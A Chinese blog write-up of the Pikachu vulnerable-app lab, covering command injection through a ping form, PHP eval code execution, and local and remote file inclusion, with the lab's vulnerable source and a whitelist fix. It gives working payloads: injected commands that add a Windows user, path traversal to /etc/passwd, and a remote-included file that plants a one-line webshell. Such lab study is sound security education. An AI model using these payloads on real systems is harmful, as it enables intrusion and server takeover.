欢迎来到赛兔子家园

PikachuRCE远程命令、代码执行及File Inclusion(文件包含漏洞)

RCE远程(命令、代码)执行

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。

例如:界面上给用户提供一个ping操作,用输入目标ip,提交后,后台会对该ip地址进行一次ping,并返回结果。

           如果未对用户输入的值进行严格的安全控制,则导致攻击者提供该接口提交其它操作系统的命令,从而控制整个后台服务器。

远程代码执行

与远程系统命令执行同样道理,因需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

远程命令执行exec "ping"

实现功能:用户输入ip地址后执行ping命令,返回执行结果;

源码

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "rce_ping.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';


//header("Content-type:text/html; charset=gbk");
$result='';

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}



?>


<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="rce.php">rce</a>
                </li>
                <li class="active">exec "ping"</li>
            </ul><!-- /.breadcrumb -->
            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="想一下ping命令在系统上是怎么用的">
                点一下提示~
            </a>


        </div>
        <div class="page-content">

            <div id="comm_main">
                <p class="comm_title">Here, please enter the target IP address!</p>
                <form method="post">
                    <input class="ipadd" type="text" name="ipaddress" />
                    <input class="sub" type="submit" name="submit" value="ping" />
                </form>

                    <?php
                    if($result){
                        echo "<pre>{$result}</pre>";
                    }
                    ?>
            </div>


        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->





<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>
View Code

源码分析:

if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
  $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
  $result.=shell_exec('ping -c 4 '.$ip);
}

直接将用户输入的变量ip带入到shell_exec()函数中执行,没有做任何安全处理,导致了远程命令执行。

漏洞验证

在命令执行漏洞中,通过&、&&、|、||、;等符合拼接执行的命令

例1:192.168.10.7 | net user test1 123.com /add   --->创建用户test1 密码:123.com

创建成功后通过:net user 查看系统中所有用户

例2:127.0.0.1 & ipconfig   --->这个时候会同时执行ping 和 ipconfig命令

远程代码exec "evel"

源码

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "rce_evel.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}


?>


<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="rce.php">rce</a>
                </li>
                <li class="active">exec "eval"</li>
            </ul><!-- /.breadcrumb -->
            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="后台不会使用了eval()吧....">
                点一下提示~
            </a>


        </div>
        <div class="page-content">

            <div id="comm_main">
                <p class="comm_title">Here, 请提交一个你喜欢的字符串:</p>
                <form method="post">
                    <input class="ipadd" type="text" name="txt" />
                    <input class="sub" type="submit" name="submit" value="提交" />
                </form>
            </div>
            <?php echo $html;?>


        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->





<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>
View Code

源码分析:

if(isset($_POST['submit']) && $_POST['txt'] != null){
  if(@!eval($_POST['txt'])){
    $html.="<p>你喜欢的字符还挺奇怪的!</p>";

  }

}

用户输入的值直接被带入到eval()函数中进行了执行,没有进行任何安全处理

漏洞验证

输入:phpinfo(); 显示了php系统信息

File Inclusion(文件包含)

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。

例如:

PHP中提供了:include(),include_once()

                   require(),require_once()

这些文件包含函数,在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,

这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

根据不同的配置环境,文件包含漏洞分为如下两种情况:

1、本地文件包含漏洞

    仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2、远程文件包含漏洞

  能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

File Inclusion(local)

本地文件包含漏洞

源码:

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "fi_local.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
        'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';



$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制
//     //安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include "include/$filename";

//     }
}


?>


<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="fileinclude.php">file include</a>
                </li>
                <li class="active">本地文件包含</li>
            </ul><!-- /.breadcrumb -->
            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="先了解一下include()函数的用法吧">
                点一下提示~
            </a>
        </div>
        <div class="page-content">

            <div id=fi_main>
                <p class="fi_title">which NBA player do you like?</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="file1.php">Kobe bryant</option>
                        <option value="file2.php">Allen Iverson</option>
                        <option value="file3.php">Kevin Durant</option>
                        <option value="file4.php">Tracy McGrady</option>
                        <option value="file5.php">Ray Allen</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <?php echo $html;?>
            </div>


        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->





<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>
View Code

源码分析:

前端通过下拉菜单传递过来的变量filename的值,未经过任何处理直接带入到include()中执行了。

防御方法:就是采用白名单,指定包含的文件名。

if(isset($_GET['submit']) && $_GET['filename']!=null){
  $filename=$_GET['filename'];
  include "include/$filename";//变量传进来直接包含,没做任何的安全限制
   //安全的写法,使用白名单,严格指定包含的文件名
  // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
  // include "include/$filename";

}

}

漏洞验证

通过前端提交的参数,返回图片,观察到ulr:http://192.168.10.7:85/pikachu-master/vul/fileinclude/fi_local.php?filename=file2.php&submit=提交

发现使用filename=file2.php来显示图片,果断修改filename的值,读取服务器中敏感信息

使用../的方式进行目录跳转

windows服务器(payload):../../../../Windows/System32/drivers/etc/hosts

Linux系统(payload): ../../../../../../../../etc/passwd

例如:读取windows服务器中的hosts文件

http://192.168.10.7:85/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts&submit=提交

 File Inclusion(remote)

远程文件包含

源码

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "fi_remote.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','',
        'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';


$html1='';
if(!ini_get('allow_url_include')){
    $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
    $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
    $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}


//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制


}



?>


<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="fileinclude.php">file include</a>
                </li>
                <li class="active">远程文件包含</li>
            </ul><!-- /.breadcrumb -->

            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
               data-content="先了解一下include()函数的用法吧">
                点一下提示~
            </a>
        </div>
        <div class="page-content">

            <div id=fi_main>
                <p class="fi_title">which NBA player do you like?</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="include/file1.php">Kobe bryant</option>
                        <option value="include/file2.php">Allen Iverson</option>
                        <option value="include/file3.php">Kevin Durant</option>
                        <option value="include/file4.php">Tracy McGrady</option>
                        <option value="include/file5.php">Ray Allen</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <?php
                echo $html1;
                echo $html2;
                echo $html3;
                echo $html;
                ?>
            </div>

        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->



<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>
View Code

源码分析:

远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下
allow_url_fopen = on
allow_url_include = on

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
   $filename=$_GET['filename'];
   include "$filename";//变量传进来直接包含,没做任何的安全限制

}

?>

漏洞验证

远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下
allow_url_fopen = on
allow_url_include = on

远程文件包含写入获取系统命令后执行的php代码:

remote.txt

<?php
$myfile = fopen("yijuhua.php", "w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile, $txt);
fclose($myfile);

?>

将remote.txt放到自己的web服务器下面:http://192.168.10.7:85/remote.txt

修改filename=http://192.168.10.7:85/remote.txt

浏览器url中--->http://192.168.10.7:85/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://192.168.10.7:85/remote.txt&submit=提交

在D:\phpStudy\PHPTutorial\WWW\pikachu-master\vul\fileinclude目录中创建了:yijuhua.php  

利用变量x获取被攻击服务器的ip信息:http://192.168.10.7:85/pikachu-master/vul/fileinclude/yijuhua.php?x=ipconfig

执行成功:

 

 

posted on 2020-08-07 16:23  赛兔子  阅读(474)  评论(0编辑  收藏  举报

导航